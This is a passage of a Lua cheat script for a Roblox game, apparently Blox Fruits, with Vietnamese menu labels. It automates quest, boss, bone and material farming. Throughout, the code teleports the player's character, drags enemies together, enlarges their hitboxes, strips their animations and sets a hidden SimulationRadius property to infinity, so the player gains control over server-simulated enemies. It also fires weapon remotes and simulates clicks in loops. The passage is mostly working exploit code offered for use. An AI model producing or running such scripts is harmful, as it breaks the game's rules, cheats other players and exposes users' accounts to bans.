if \_G.SkillZ then

local args = {

[1] = PosMonMasteryFruit.Position

}

game:GetService("Players").LocalPlayer.Character[game:GetService("Players").LocalPlayer.Character:FindFirstChildOfClass("Tool").Name].RemoteEvent:FireServer(unpack(args))

game:GetService("VirtualInputManager"):SendKeyEvent(true,"Z",false,game)

game:GetService("VirtualInputManager"):SendKeyEvent(false,"Z",false,game)

end

if \_G.SkillX then

local args = {

[1] = PosMonMasteryFruit.Position

}

game:GetService("Players").LocalPlayer.Character[game:GetService("Players").LocalPlayer.Character:FindFirstChildOfClass("Tool").Name].RemoteEvent:FireServer(unpack(args))

game:GetService("VirtualInputManager"):SendKeyEvent(true,"X",false,game)

game:GetService("VirtualInputManager"):SendKeyEvent(false,"X",false,game)

end

if \_G.SkillC then

local args = {

[1] = PosMonMasteryFruit.Position

}

game:GetService("Players").LocalPlayer.Character[game:GetService("Players").LocalPlayer.Character:FindFirstChildOfClass("Tool").Name].RemoteEvent:FireServer(unpack(args))

game:GetService("VirtualInputManager"):SendKeyEvent(true,"C",false,game)

game:GetService("VirtualInputManager"):SendKeyEvent(false,"C",false,game)

end

if \_G.SkillV then

local args = {

[1] = PosMonMasteryFruit.Position

}

game:GetService("Players").LocalPlayer.Character[game:GetService("Players").LocalPlayer.Character:FindFirstChildOfClass("Tool").Name].RemoteEvent:FireServer(unpack(args))

game:GetService("VirtualInputManager"):SendKeyEvent(true,"V",false,game)

game:GetService("VirtualInputManager"):SendKeyEvent(false,"V",false,game)

end

end

end

end)

end

end

end)

spawn(function()

game:GetService("RunService").RenderStepped:Connect(function()

pcall(function()

if UseSkill then

for i,v in pairs(game:GetService("Players").LocalPlayer.PlayerGui.Notifications:GetChildren()) do

if v.Name == "NotificationTemplate" then

if string.find(v.Text,"Skill locked!") then

v:Destroy()

end

end

end

end

end)

end)

end)

spawn(function()

pcall(function()

game:GetService("RunService").RenderStepped:Connect(function()

if UseSkill then

local args = {

[1] = PosMonMasteryFruit.Position

}

game:GetService("Players").LocalPlayer.Character[game:GetService("Players").LocalPlayer.Data.DevilFruit.Value].RemoteEvent:FireServer(unpack(args))

end

end)

end)

end)

-- Main:Toggle("Auto Farm Thông Thạo Súng",\_G.AutoFarmGunMastery,function(value)

-- \_G.AutoFarmGunMastery = value

-- StopTween(\_G.AutoFarmGunMastery)

-- end)

spawn(function()

pcall(function()

while wait() do

if \_G.AutoFarmGunMastery then

local QuestTitle = game:GetService("Players").LocalPlayer.PlayerGui.Main.Quest.Container.QuestTitle.Title.Text

if not string.find(QuestTitle, NameMon) then

StartMagnet = false

game:GetService("ReplicatedStorage").Remotes.CommF\_:InvokeServer("AbandonQuest")

end

if game:GetService("Players").LocalPlayer.PlayerGui.Main.Quest.Visible == false then

StartMasteryGunStartMagnet = false

CheckQuest()

topos(CFrameQuest)

if (CFrameQuest.Position - game:GetService("Players").LocalPlayer.Character.HumanoidRootPart.Position).Magnitude <= 10 then

wait(1.2)

game:GetService("ReplicatedStorage").Remotes.CommF\_:InvokeServer("StartQuest", NameQuest, LevelQuest)

end

elseif game:GetService("Players").LocalPlayer.PlayerGui.Main.Quest.Visible == true then

CheckQuest()

if game:GetService("Workspace").Enemies:FindFirstChild(Ms) then

pcall(function()

for i,v in pairs(game:GetService("Workspace").Enemies:GetChildren()) do

if v.Name == Ms then

repeat task.wait()

if string.find(game:GetService("Players").LocalPlayer.PlayerGui.Main.Quest.Container.QuestTitle.Title.Text, NameMon) then

HealthMs = v.Humanoid.MaxHealth \* \_G.Kill\_At/100

if v.Humanoid.Health <= HealthMs then

EquipWeapon(SelectWeaponGun)

topos(v.HumanoidRootPart.CFrame \* MethodFarm)

v.Humanoid.WalkSpeed = 0

v.HumanoidRootPart.CanCollide = false

v.HumanoidRootPart.Size = Vector3.new(2,2,1)

v.Head.CanCollide = false

local args = {

[1] = v.HumanoidRootPart.Position,

[2] = v.HumanoidRootPart

}

game:GetService("Players").LocalPlayer.Character[SelectWeaponGun].RemoteFunctionShoot:InvokeServer(unpack(args))

else

AutoHaki()

EquipWeapon(\_G.Select\_Weapon)

v.Humanoid.WalkSpeed = 0

v.HumanoidRootPart.CanCollide = false

v.Head.CanCollide = false

v.HumanoidRootPart.Size = Vector3.new(50,50,50)

topos(v.HumanoidRootPart.CFrame \* MethodFarm)

game:GetService'VirtualUser':CaptureController()

game:GetService'VirtualUser':Button1Down(Vector2.new(1280, 672))

end

StartMasteryGunStartMagnet = true

PosMonMasteryGun = v.HumanoidRootPart.CFrame

else

StartMasteryGunStartMagnet = false

game:GetService("ReplicatedStorage").Remotes.CommF\_:InvokeServer("AbandonQuest")

end

until v.Humanoid.Health <= 0 or \_G.AutoFarmGunMastery == false or game:GetService("Players").LocalPlayer.PlayerGui.Main.Quest.Visible == false

StartMasteryGunStartMagnet = false

end

end

end)

else

StartMasteryGunStartMagnet = false

local Mob = game:GetService("ReplicatedStorage"):FindFirstChild(Ms)

if Mob then

topos(Mob.HumanoidRootPart.CFrame \* MethodFarm)

else

if game:GetService("Players").LocalPlayer.Character.HumanoidRootPart.CFrame.Y <= 1 then

game:GetService("Players").LocalPlayer.Character.Humanoid.Jump = true

task.wait()

game:GetService("Players").LocalPlayer.Character.Humanoid.Jump = false

end

end

end

end

end

end

end)

end)

--if not game:GetService("UserInputService").TouchEnabled and not game:GetService("UserInputService").KeyboardEnabled == false then

--\_G.Kill\_At = 25

--Main:Slider("kill Theo % Máu Của Quái",1,100,25,function(value)

--\_G.Kill\_At = value

--end)

--else

--\_G.Kill\_At = 25

--Main:Slider1("Kill Health [For Mastery]",1,100,25,function(value)

-- \_G.Kill\_At = value

--end)

--end

--Main:Toggle("Skill Z",true,function(a)

-- \_G.SkillZ = a

-- end)

-- Main:Toggle("Skill X",true,function(a)

-- \_G.SkillX = a

-- end)

-- Main:Toggle("Skill C",true,function(a)

--- \_G.SkillC = a

-- end)

-- Main:Toggle("Skill V",true,function(a)

-- \_G.SkillV = a

-- end)

Main:Seperator("Farm Boss ")

local Boss = {}

for i, v in pairs(game:GetService("ReplicatedStorage"):GetChildren()) do

if string.find(v.Name, "Boss") then

if v.Name == "Ice Admiral [Lv. 700] [Boss]" then

else

table.insert(Boss, v.Name)

end

end

end

local BossName = Main:Dropdown("Chọn Boss Farm",Boss,function(value)

\_G.Select\_Boss = value

end)

Main:Button("Làm Mới Boss",function()

BossName:Clear()

for i, v in pairs(game:GetService("ReplicatedStorage"):GetChildren()) do

if string.find(v.Name, "Boss") then

BossName:Add(v.Name)

end

end

end)

Main:Toggle("Farm Boss Đã Chọn",\_G.Auto\_Farm\_Boss,function(value)

\_G.Auto\_Farm\_Boss = value

\_G.click = value

end)

Main:Toggle("Nhận Nhiệm Vụ Boss",true,function(value)

\_G.Auto\_Quest\_Boss = value

end)

spawn(function()

while wait() do

if \_G.Auto\_Farm\_Boss then

pcall(function()

CheckBossQuest()

if MsBoss == "Soul Reaper [Lv. 2100] [Raid Boss]" or MsBoss == "Longma [Lv. 2000] [Boss]" or MsBoss == "Don Swan [Lv. 1000] [Boss]" or MsBoss == "Cursed Captain [Lv. 1325] [Raid Boss]" or MsBoss == "Order [Lv. 1250] [Raid Boss]" or MsBoss == "rip\_indra True Form [Lv. 5000] [Raid Boss]" then

if game:GetService("Workspace").Enemies:FindFirstChild(MsBoss) then

for i,v in pairs(game:GetService("Workspace").Enemies:GetChildren()) do

if v.Name == MsBoss then

repeat wait()

EquipWeapon(\_G.Select\_Weapon)

AutoHaki()

topos(v.HumanoidRootPart.CFrame \* MethodFarm)

v.HumanoidRootPart.CanCollide = false

v.HumanoidRootPart.Size = Vector3.new(60, 60, 60)

game:GetService'VirtualUser':CaptureController()

game:GetService'VirtualUser':Button1Down(Vector2.new(1280, 672))

until \_G.Auto\_Farm\_Boss == false or not v.Parent or v.Humanoid.Health <= 0

end

end

else

topos(CFrameBoss)

end

else

if \_G.Auto\_Quest\_Boss then

CheckBossQuest()

if not string.find(game:GetService("Players").LocalPlayer.PlayerGui.Main.Quest.Container.QuestTitle.Title.Text, NameBoss) then

game:GetService("ReplicatedStorage").Remotes.CommF\_:InvokeServer("AbandonQuest")

end

if game:GetService("Players").LocalPlayer.PlayerGui.Main.Quest.Visible == false then

repeat wait() topos(CFrameQuestBoss) until (CFrameQuestBoss.Position - game:GetService("Players").LocalPlayer.Character.HumanoidRootPart.Position).Magnitude <= 3 or not \_G.Auto\_Farm\_Boss

if (CFrameQuestBoss.Position - game.Players.LocalPlayer.Character.HumanoidRootPart.Position).Magnitude <= 4 then

wait(1.1)

game:GetService("ReplicatedStorage").Remotes.CommF\_:InvokeServer("StartQuest", NameQuestBoss, LevelQuestBoss)

end

elseif game:GetService("Players").LocalPlayer.PlayerGui.Main.Quest.Visible == true then

if game:GetService("Workspace").Enemies:FindFirstChild(MsBoss) then

for i,v in pairs(game:GetService("Workspace").Enemies:GetChildren()) do

if v.Name == MsBoss then

repeat wait()

if string.find(game:GetService("Players").LocalPlayer.PlayerGui.Main.Quest.Container.QuestTitle.Title.Text, NameBoss) then

EquipWeapon(\_G.Select\_Weapon)

AutoHaki()

topos(v.HumanoidRootPart.CFrame \* MethodFarm)

v.HumanoidRootPart.CanCollide = false

v.HumanoidRootPart.Size = Vector3.new(60, 60, 60)

game:GetService'VirtualUser':CaptureController()

game:GetService'VirtualUser':Button1Down(Vector2.new(1280, 672))

else

game:GetService("ReplicatedStorage").Remotes.CommF\_:InvokeServer("AbandonQuest")

end

until \_G.Auto\_Farm\_Boss == false or not v.Parent or v.Humanoid.Health <= 0

end

end

else

topos(CFrameBoss)

end

end

else

if game:GetService("Workspace").Enemies:FindFirstChild(MsBoss) then

for i,v in pairs(game:GetService("Workspace").Enemies:GetChildren()) do

if v.Name == MsBoss then

repeat wait()

EquipWeapon(\_G.Select\_Weapon)

AutoHaki()

topos(v.HumanoidRootPart.CFrame \* MethodFarm)

v.HumanoidRootPart.CanCollide = false

v.HumanoidRootPart.Size = Vector3.new(60, 60, 60)

game:GetService'VirtualUser':CaptureController()

game:GetService'VirtualUser':Button1Down(Vector2.new(1280, 672))

until \_G.Auto\_Farm\_Boss == false or not v.Parent or v.Humanoid.Health <= 0

end

end

else

topos(CFrameBoss)

end

end

end

end)

end

end

end)

Main:Toggle("Càng Quét Tất Cả Boss ",\_G.Auto\_Farm\_All\_Boss,function(value)

\_G.Auto\_Farm\_All\_Boss = value

StopTween(\_G.Auto\_Farm\_All\_Boss)

end)

spawn(function()

while wait() do

if \_G.Auto\_Farm\_All\_Boss then

pcall(function()

for i,v in pairs(game.ReplicatedStorage:GetChildren()) do

if string.find(v.Name,"Boss") then

repeat task.wait()

if v:FindFirstChild("HumanoidRootPart") and v:FindFirstChild("Humanoid") and (v.HumanoidRootPart.Position - game.Players.LocalPlayer.Character.HumanoidRootPart.Position).magnitude > 350 then

topos(v.HumanoidRootPart.CFrame)

elseif v:FindFirstChild("HumanoidRootPart") and v:FindFirstChild("Humanoid") and (v.HumanoidRootPart.Position - game.Players.LocalPlayer.Character.HumanoidRootPart.Position).magnitude <= 350 then

AutoHaki()

EquipWeapon(\_G.Select\_Weapon)

v.Humanoid.WalkSpeed = 0

v.HumanoidRootPart.CanCollide = false

v.Head.CanCollide = false

v.HumanoidRootPart.Size = Vector3.new(80,80,80)

topos(v.HumanoidRootPart.CFrame \* MethodFarm)

game:GetService'VirtualUser':CaptureController()

game:GetService'VirtualUser':Button1Down(Vector2.new(1280, 672))

sethiddenproperty(game.Players.LocalPlayer,"SimulationRadius",math.huge)

end

until v.Humanoid.Health <= 0 or \_G.Auto\_Farm\_All\_Boss == false or not v.Parent

end

end

end)

end

end

end)

spawn(function()

while task.wait() do

if \_G.BringNormal and \_G.AutoFarmMaterial then

pcall(function()

for i,v in pairs(game.Workspace.Enemies:GetChildren()) do

if v.Name == MatMon and (v.HumanoidRootPart.Position - game.Players.LocalPlayer.Character.HumanoidRootPart.Position).Magnitude <= 400 then

v.Humanoid.WalkSpeed = 0

v.HumanoidRootPart.Size = Vector3.new(60,60,60)

--v.Humanoid:ChangeState(14)

v.HumanoidRootPart.CanCollide = false

v.Head.CanCollide = false

v.HumanoidRootPart.CFrame = MatPos

if v.Humanoid:FindFirstChild("Animator") then

v.Humanoid.Animator:Destroy()

end

v.Humanoid:ChangeState(11)

v.Humanoid:ChangeState(14)

sethiddenproperty(game.Players.LocalPlayer,"SimulationRadius",math.huge)

end

end

end)

end

end

end)

spawn(function()

while task.wait() do

if \_G.BringNormal and \_G.Select\_Mode\_Farm == "Farm Gần nhất" then

pcall(function()

for i,v in pairs(game.Workspace.Enemies:GetChildren()) do

if v.Name == Mon and (v.HumanoidRootPart.Position - game.Players.LocalPlayer.Character.HumanoidRootPart.Position).Magnitude <= 400 then

v.Humanoid.WalkSpeed = 0

v.HumanoidRootPart.Size = Vector3.new(60,60,60)

--v.Humanoid:ChangeState(14)

v.HumanoidRootPart.CanCollide = false

v.Head.CanCollide = false

v.HumanoidRootPart.CFrame = PosMon

if v.Humanoid:FindFirstChild("Animator") then

v.Humanoid.Animator:Destroy()

end

v.Humanoid:ChangeState(11)

v.Humanoid:ChangeState(14)

sethiddenproperty(game.Players.LocalPlayer,"SimulationRadius",math.huge)

end

end

end)

end

end

end)

spawn(function()

while task.wait() do

if \_G.AutoFarmSelectMonster then

pcall(function()

for i,v in pairs(game.Workspace.Enemies:GetChildren()) do

if v.Name == Mon and (v.HumanoidRootPart.Position - game.Players.LocalPlayer.Character.HumanoidRootPart.Position).Magnitude <= 400 then

v.Humanoid.WalkSpeed = 0

v.HumanoidRootPart.Size = Vector3.new(60,60,60)

--v.Humanoid:ChangeState(14)

v.HumanoidRootPart.CanCollide = false

v.Head.CanCollide = false

v.HumanoidRootPart.CFrame = PosMon

if v.Humanoid:FindFirstChild("Animator") then

v.Humanoid.Animator:Destroy()

end

v.Humanoid:ChangeState(11)

v.Humanoid:ChangeState(14)

sethiddenproperty(game.Players.LocalPlayer,"SimulationRadius",math.huge)

end

end

end)

end

end

end)

spawn(function()

while task.wait() do

if \_G.AutoFarmSelectMonster then

pcall(function()

for i,v in pairs(game.Workspace.Enemies:GetChildren()) do

if v.Name == Ms and (v.HumanoidRootPart.Position - game.Players.LocalPlayer.Character.HumanoidRootPart.Position).Magnitude <= 400 then

v.Humanoid.WalkSpeed = 0

v.HumanoidRootPart.Size = Vector3.new(60,60,60)

--v.Humanoid:ChangeState(14)

v.HumanoidRootPart.CanCollide = false

v.Head.CanCollide = false

v.HumanoidRootPart.CFrame = PosMon

if v.Humanoid:FindFirstChild("Animator") then

v.Humanoid.Animator:Destroy()

end

v.Humanoid:ChangeState(11)

v.Humanoid:ChangeState(14)

sethiddenproperty(game.Players.LocalPlayer,"SimulationRadius",math.huge)

end

end

end)

end

end

end)

if World3 then

Main:Seperator("Chest")

Main:Toggle("Auto Chest ( 70% Reset Acc )",\_G.chestsea3,function(value)

\_G.chestsea3 = value

StopTween(\_G.chestsea3)

end)

end

if World2 then

Main:Seperator("Chest")

Main:Toggle("Auto Chest ( 70% Reset Acc )",\_G.chestsea2,function(value)

\_G.chestsea2 = value

StopTween(\_G.chestsea2)

end)

end

Main:Seperator(" Bones ")

Main:Toggle("Farm Xương",\_G.Auto\_Farm\_Bone,function(value)

\_G.Auto\_Farm\_Bone = value

\_G.click = value

StopTween(\_G.Auto\_Farm\_Bone)

end)

Main:Toggle("Quay Xương",\_G.Auto\_Trade\_Bone,function(value)

\_G.Auto\_Trade\_Bone = value

end)

spawn(function()

while wait(.1) do

if \_G.Auto\_Trade\_Bone then

local args = {

[1] = "Bones",

[2] = "Buy",

[3] = 1,

[4] = 1

}

game:GetService("ReplicatedStorage").Remotes.CommF\_:InvokeServer(unpack(args))

end

end

end)

local BoneCheck = Main:Label("Total")

spawn(function()

while wait() do

pcall(function()

BoneCheck:Set("Bones Đang Có : "..(game:GetService("ReplicatedStorage").Remotes.CommF\_:InvokeServer("Bones","Check")))

end)

end

end)

if World3 then

Main:Seperator(" Katakuri Boss ")

local Mob\_Kill\_Cake\_Prince = Main:Label("Total")

Main:Toggle( "Spawm Katakuri + Check Katakuri" ,\_G.Auto\_Cake\_Pr1ince,function(value)

\_G.Auto\_Cake\_Prince1 = value

StopTween(\_G.Auto\_Cake\_Prince1)

end)

spawn(function()

while wait() do

if \_G.Auto\_Cake\_Prince1 then

pcall(function()

if string.len(game:GetService("ReplicatedStorage").Remotes.CommF\_:InvokeServer("CakePrinceSpawner")) == 88 then

Mob\_Kill\_Cake\_Prince:Set("Killed : "..string.sub(game:GetService("ReplicatedStorage").Remotes.CommF\_:InvokeServer("CakePrinceSpawner"),39,41).." : Kill More")

elseif string.len(game:GetService("ReplicatedStorage").Remotes.CommF\_:InvokeServer("CakePrinceSpawner")) == 87 then

Mob\_Kill\_Cake\_Prince:Set("Kill : "..string.sub(game:GetService("ReplicatedStorage").Remotes.CommF\_:InvokeServer("CakePrinceSpawner"),39,40).." : Kill More")

elseif string.len(game:GetService("ReplicatedStorage").Remotes.CommF\_:InvokeServer("CakePrinceSpawner")) == 86 then

Mob\_Kill\_Cake\_Prince:Set("Kill : "..string.sub(game:GetService("ReplicatedStorage").Remotes.CommF\_:InvokeServer("CakePrinceSpawner"),39,39).." : More")

else

Mob\_Kill\_Cake\_Prince:Set("Boss Đã Được Triệu Hồi")

end

end)

end

end

end)

Main:Toggle("Farm Katakuri",\_G.Auto\_Cake\_Prince,function(value)

\_G.Auto\_Cake\_Prince = value

\_G.click = value

StopTween(\_G.Auto\_Cake\_Prince)

end)

Main:Toggle("Kiếm Cúp Cacao + Đánh Katakuri V2",\_G.Auto\_Open\_Dough\_Dungeon,function(value)

\_G.Auto\_Open\_Dough\_Dungeon = value

\_G.click = value

StopTween(\_G.Auto\_Open\_Dough\_Dungeon)

end)

end

spawn(function()

game:GetService("RunService").Heartbeat:Connect(function()

pcall(function()

for i,v in pairs(game:GetService("Workspace").Enemies:GetChildren()) do

if \_G.Auto\_Open\_Dough\_Dungeon and StartCakeStartMagnet and (v.Name == "Cookie Crafter [Lv. 2200]" or v.Name == "Cake Guard [Lv. 2225]" or v.Name == "Baking Staff [Lv. 2250]" or v.Name == "Head Baker [Lv. 2275]") and (v.HumanoidRootPart.Position - POSCAKE.Position).magnitude <= 300 then

v.HumanoidRootPart.CFrame = POSCAKE

v.HumanoidRootPart.CanCollide = false

v.HumanoidRootPart.Size = Vector3.new(50,50,50)

if v.Humanoid:FindFirstChild("Animator") then

v.Humanoid.Animator:Destroy()

end

sethiddenproperty(game.Players.LocalPlayer, "SimulationRadius", math.huge)

end

end

end)

end)

end)

spawn(function()

game:GetService("RunService").Heartbeat:Connect(function()

pcall(function()

for i,v in pairs(game:GetService("Workspace").Enemies:GetChildren()) do

if \_G.Auto\_Cake\_Prince and StartCakeStartMagnet and (v.Name == "Cookie Crafter [Lv. 2200]" or v.Name == "Cake Guard [Lv. 2225]" or v.Name == "Baking Staff [Lv. 2250]" or v.Name == "Head Baker [Lv. 2275]") and (v.HumanoidRootPart.Position - POSCAKE.Position).magnitude <= 300 then

v.HumanoidRootPart.CFrame = POSCAKE

v.HumanoidRootPart.CanCollide = false

v.HumanoidRootPart.Size = Vector3.new(50,50,50)

if v.Humanoid:FindFirstChild("Animator") then

v.Humanoid.Animator:Destroy()

end

sethiddenproperty(game.Players.LocalPlayer, "SimulationRadius", math.huge)

end

end

end)

end)

end)

spawn(function()

while wait() do

if \_G.Auto\_Cake\_Prince then

pcall(function()

if game.ReplicatedStorage:FindFirstChild("Cake Prince [Lv. 2300] [Raid Boss]") or game:GetService("Workspace").Enemies:FindFirstChild("Cake Prince [Lv. 2300] [Raid Boss]") then

if game:GetService("Workspace").Enemies:FindFirstChild("Cake Prince [Lv. 2300] [Raid Boss]") then

for i,v in pairs(game:GetService("Workspace").Enemies:GetChildren()) do

if v.Name == "Cake Prince [Lv. 2300] [Raid Boss]" then

repeat wait()

AutoHaki()

EquipWeapon(\_G.Select\_Weapon)

v.HumanoidRootPart.Size = Vector3.new(60, 60, 60)

v.HumanoidRootPart.CanCollide = false

topos(v.HumanoidRootPart.CFrame \* MethodFarm)

game:GetService'VirtualUser':CaptureController()

game:GetService'VirtualUser':Button1Down(Vector2.new(1280, 672))

until \_G.Auto\_Cake\_Prince == false or not v.Parent or v.Humanoid.Health <= 0

end

end

else

topos(CFrame.new(-2009.2802734375, 4532.97216796875, -14937.3076171875))

end

else

if game.Workspace.Enemies:FindFirstChild("Baking Staff [Lv. 2250]") or game.Workspace.Enemies:FindFirstChild("Head Baker [Lv. 2275]") or game.Workspace.Enemies:FindFirstChild("Cake Guard [Lv. 2225]") or game.Workspace.Enemies:FindFirstChild("Cookie Crafter [Lv. 2200]") then

for i,v in pairs(game:GetService("Workspace").Enemies:GetChildren()) do

if (v.Name == "Baking Staff [Lv. 2250]" or v.Name == "Head Baker [Lv. 2275]" or v.Name == "Cake Guard [Lv. 2225]" or v.Name == "Cookie Crafter [Lv. 2200]") and v.Humanoid.Health > 0 then

repeat wait()

AutoHaki()

EquipWeapon(\_G.Select\_Weapon)

StartCakeStartMagnet = true

v.HumanoidRootPart.Size = Vector3.new(60, 60, 60)

POSCAKE = v.HumanoidRootPart.CFrame

topos(v.HumanoidRootPart.CFrame \* MethodFarm)

game:GetService'VirtualUser':CaptureController()

game:GetService'VirtualUser':Button1Down(Vector2.new(1280, 672))

until \_G.Auto\_Cake\_Prince == false or game:GetService("ReplicatedStorage"):FindFirstChild("Cake Prince [Lv. 2300] [Raid Boss]") or not v.Parent or v.Humanoid.Health <= 0

end

end

else

StartCakeStartMagnet = false

topos(CFrame.new(-1820.0634765625, 210.74781799316406, -12297.49609375))

end

end

end)

end

end

end)

Main:Seperator(" Farm Nguyên Liệu ")

if World3 then

Main:Toggle("Farm Bột Cacoa",\_G.Cacao,function(value)

\_G.Cacao = value

\_G.click = value

StopTween(\_G.Cacao)

end)

spawn(function()

game:GetService("RunService").Heartbeat:Connect(function()

pcall(function()

for i,v in pairs(game:GetService("Workspace").Enemies:GetChildren()) do

if \_G.Cacao and StartMagnetBoneMon and (v.Name == "Cocoa Warrior [Lv. 2300]" or v.Name == "Chocolate Bar Battler [Lv. 2325]" or "Sweet Thief [Lv. 2350]" or "Candy Rebel [Lv. 2375]") and (v.HumanoidRootPart.Position - PosMonBone.Position).magnitude <= 350 then

v.HumanoidRootPart.CFrame = PosMonBone

v.HumanoidRootPart.CanCollide = false

v.HumanoidRootPart.Size = Vector3.new(50,50,50)

if v.Humanoid:FindFirstChild("Animator") then

v.Humanoid.Animator:Destroy()

end

sethiddenproperty(game.Players.LocalPlayer, "SimulationRadius", math.huge)

end

end

end)

end)

end)

spawn(function()

while wait() do

if \_G.Cacao and World3 then

pcall(function()

if game:GetService("Workspace").Enemies:FindFirstChild("Cocoa Warrior [Lv. 2300]") or game:GetService("Workspace").Enemies:FindFirstChild("Chocolate Bar Battler [Lv. 2325]") or game:GetService("Workspace").Enemies:FindFirstChild("Sweet Thief [Lv. 2350]") or game:GetService("Workspace").Enemies:FindFirstChild("Candy Rebel [Lv. 2375]") then

for i,v in pairs(game:GetService("Workspace").Enemies:GetChildren()) do

if v.Name == "Cocoa Warrior [Lv. 2300]" or v.Name == "Chocolate Bar Battler [Lv. 2325]" or v.Name == "Sweet Thief [Lv. 2350]" or v.Name == "Candy Rebel [Lv. 2375]" then

if v.Humanoid.Health > 0 then

repeat wait()

AutoHaki()

EquipWeapon(\_G.Select\_Weapon)

StartMagnetBoneMon = true

v.HumanoidRootPart.CanCollide = false

v.HumanoidRootPart.Size = Vector3.new(60, 60, 60)

PosMonBone = v.HumanoidRootPart.CFrame

topos(v.HumanoidRootPart.CFrame \* MethodFarm)

game:GetService'VirtualUser':CaptureController()

game:GetService'VirtualUser':Button1Down(Vector2.new(1280, 672))

until \_G.Cacao == false or not v.Parent or v.Humanoid.Health <= 0

end

end

end

else

StartMagnetBoneMon = false

for i,v in pairs(game:GetService("ReplicatedStorage"):GetChildren()) do

if v.Name == "Cocoa Warrior [Lv. 2300]" then

topos(v.HumanoidRootPart.CFrame \* MethodFarm)

elseif v.Name == "Chocolate Bar Battler [Lv. 2325]" then

topos(v.HumanoidRootPart.CFrame \* MethodFarm)

elseif v.Name == "Sweet Thief [Lv. 2350]" then

topos(v.HumanoidRootPart.CFrame \* MethodFarm)

elseif v.Name == "Candy Rebel [Lv. 2375]" then

topos(v.HumanoidRootPart.CFrame \* MethodFarm)

end

end

topos(CFrame.new(378.500763, 78.9238205, -12511.4004, -0.980175495, -0.00775680691, -0.197979629, -7.71833584e-08, 0.999233365, -0.0391495228, 0.198131591, -0.0383733809, -0.97942394))

end

end)

end

end

end)

end

if World3 then

Main:Toggle("Farm Vảy Rồng",\_G.vayrong,function(value)

\_G.vayrong = value

\_G.click = value

StopTween(\_G.vayrong)

end)

spawn(function()

game:GetService("RunService").Heartbeat:Connect(function()

pcall(function()

for i,v in pairs(game:GetService("Workspace").Enemies:GetChildren()) do

if \_G.vayrong and StartMagnetBoneMon0 and (v.Name == "Dragon Crew Archer [Lv. 1600]" or v.Name == "Dragon Crew Warrior [Lv. 1575]" ) and (v.HumanoidRootPart.Position - PosMonBone.Position).magnitude <= 350 then

v.HumanoidRootPart.CFrame = PosMonBone

v.HumanoidRootPart.CanCollide = false

v.HumanoidRootPart.Size = Vector3.new(50,50,50)

if v.Humanoid:FindFirstChild("Animator") then

v.Humanoid.Animator:Destroy()

end

sethiddenproperty(game.Players.LocalPlayer, "SimulationRadius", math.huge)

end

end

end)

end)

end)

spawn(function()

while wait() do

if \_G.vayrong and World3 then

pcall(function()

if game:GetService("Workspace").Enemies:FindFirstChild("Dragon Crew Archer [Lv. 1600]") or game:GetService("Workspace").Enemies:FindFirstChild("Dragon Crew Warrior [Lv. 1575]") then

for i,v in pairs(game:GetService("Workspace").Enemies:GetChildren()) do

if v.Name == "Dragon Crew Archer [Lv. 1600]" or v.Name == "Dragon Crew Warrior [Lv. 1575]" then

if v.Humanoid.Health > 0 then

repeat wait()

AutoHaki()

EquipWeapon(\_G.Select\_Weapon)

StartMagnetBoneMon0 = true

v.HumanoidRootPart.CanCollide = false

v.HumanoidRootPart.Size = Vector3.new(60, 60, 60)

PosMonBone = v.HumanoidRootPart.CFrame

topos(v.HumanoidRootPart.CFrame \* MethodFarm)

game:GetService'VirtualUser':CaptureController()

game:GetService'VirtualUser':Button1Down(Vector2.new(1280, 672))

until \_G.vayrong == false or not v.Parent or v.Humanoid.Health <= 0

end

end

end

else

StartMagnetBoneMon0 = false

for i,v in pairs(game:GetService("ReplicatedStorage"):GetChildren()) do

if v.Name == "Dragon Crew Archer [Lv. 1600]" then

topos(v.HumanoidRootPart.CFrame \* MethodFarm)

elseif v.Name == "Dragon Crew Warrior [Lv. 1575]" then

topos(v.HumanoidRootPart.CFrame \* MethodFarm)

end

end

topos(CFrame.new(6606.63965, 150.777206, -586.454468, 0.164548442, -0.0395196229, -0.985576928, -1.3015233e-07, 0.999197006, -0.0400657691, 0.986368954, 0.00659288513, 0.164416313))

end

end)

end

end

end)

end

if World3 then

Main:Toggle("Farm Đuôi Cá",\_G.duoica,function(value)

\_G.duoica = value

\_G.click = value

StopTween(\_G.duoica)

end)

end

spawn(function()

game:GetService("RunService").Heartbeat:Connect(function()

pcall(function()

for i,v in pairs(game:GetService("Workspace").Enemies:GetChildren()) do

if \_G.duoica and StartMagnetBoneMon0 and (v.Name == "Fishman Captain [Lv. 1800]" or v.Name == "Fishman Raider [Lv. 1775]" ) and (v.HumanoidRootPart.Position - PosMonBone.Position).magnitude <= 350 then

v.HumanoidRootPart.CFrame = PosMonBone

v.HumanoidRootPart.CanCollide = false

v.HumanoidRootPart.Size = Vector3.new(50,50,50)

if v.Humanoid:FindFirstChild("Animator") then

v.Humanoid.Animator:Destroy()

end

sethiddenproperty(game.Players.LocalPlayer, "SimulationRadius", math.huge)

end

end

end)

end)

end)

spawn(function()

while wait() do

if \_G.duoica and World3 then

pcall(function()

if game:GetService("Workspace").Enemies:FindFirstChild("Fishman Captain [Lv. 1800]") or game:GetService("Workspace").Enemies:FindFirstChild("Fishman Raider [Lv. 1775]") then

for i,v in pairs(game:GetService("Workspace").Enemies:GetChildren()) do

if v.Name == "Fishman Captain [Lv. 1800]" or v.Name == "Fishman Raider [Lv. 1775]" then

if v.Humanoid.Health > 0 then

repeat wait()

AutoHaki()

EquipWeapon(\_G.Select\_Weapon)

StartMagnetBoneMon0 = true

v.HumanoidRootPart.CanCollide = false

v.HumanoidRootPart.Size = Vector3.new(60, 60, 60)

PosMonBone = v.HumanoidRootPart.CFrame

topos(v.HumanoidRootPart.CFrame \* MethodFarm)

game:GetService'VirtualUser':CaptureController()

game:GetService'VirtualUser':Button1Down(Vector2.new(1280, 672))

until \_G.duoica == false or not v.Parent or v.Humanoid.Health <= 0

end

end

end

else

StartMagnetBoneMon0 = false

for i,v in pairs(game:GetService("ReplicatedStorage"):GetChildren()) do

if v.Name == "Fishman Captain [Lv. 1800]" then

topos(v.HumanoidRootPart.CFrame \* MethodFarm)

elseif v.Name == "Fishman Raider [Lv. 1775]" then

topos(v.HumanoidRootPart.CFrame \* MethodFarm)

end

end

topos(CFrame.new(-10724.1797, 390.358154, -8757.83984, 0.973122895, -0.0213751756, 0.22929208, -0.0285035707, 0.976846457, 0.212034106, -0.228515476, -0.212870911, 0.949982405))

end

end)

end

end

end)

if World3 then

Main:Toggle("Farm Sừng Tê Giác + Sắt Vụn + Da",\_G.sungtegiac,function(value)

\_G.sungtegiac = value

\_G.click = value

StopTween(\_G.sungtegiac)

end)

end

spawn(function()

game:GetService("RunService").Heartbeat:Connect(function()

pcall(function()

for i,v in pairs(game:GetService("Workspace").Enemies:GetChildren()) do

